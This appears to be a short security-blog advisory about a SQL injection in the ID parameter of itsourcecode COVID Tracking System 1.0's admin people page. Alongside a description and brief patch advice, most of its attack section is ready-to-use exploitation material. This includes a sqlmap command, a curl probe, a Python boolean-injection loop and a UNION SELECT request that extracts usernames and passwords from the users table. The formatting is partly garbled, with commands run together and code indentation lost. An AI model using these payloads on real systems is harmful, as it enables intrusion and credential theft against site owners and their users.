Listen to this Post
How the CVE Works:
The vulnerability exists in the `/admin/?page=people` endpoint of itsourcecode COVID Tracking System version 1.0. The application fails to properly sanitize user-supplied input passed to the `ID` parameter in SQL queries. An attacker can send a crafted HTTP GET request containing malicious SQL code within this parameter. Because the input is concatenated directly into the database query without validation or parameterization, the attacker’s payload is executed by the backend database server. This allows for remote, authenticated (PR:L) SQL injection attacks, enabling data theft, modification, or deletion. The exploit is publicly available, facilitating low-complexity attacks.
dailycve form:
Platform: itsourcecode COVID Tracking
Version: 1.0
Vulnerability: SQL Injection
Severity: Medium
date: 2025-11-23
Prediction: 2025-12-15
What Undercode Say:
Analytics:
curl -s "http://target/admin/?page=people&ID=1'" | grep -i error sqlmap -u "http://target/admin/?page=people&ID=1" --batch --dbs
import requests
TARGET="http://target/admin/?page=people"
for i in range(1,10):
r = requests.get(TARGET, params={"ID": f"1' AND {i}={i}-- -"})
if "user data" in r.text: print(f"Parameter vulnerable: {i}")
Exploit:
GET /admin/?page=people&ID=1'%20UNION%20SELECT%20NULL,username,password,NULL%20FROM%20users-- HTTP/1.1
Protection from this CVE:
- Use Prepared Statements.
- Implement Input Validation.
- Apply Least Privilege.
Impact:
- Unauthorized Data Access
- Authentication Bypass
- Complete System Compromise
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
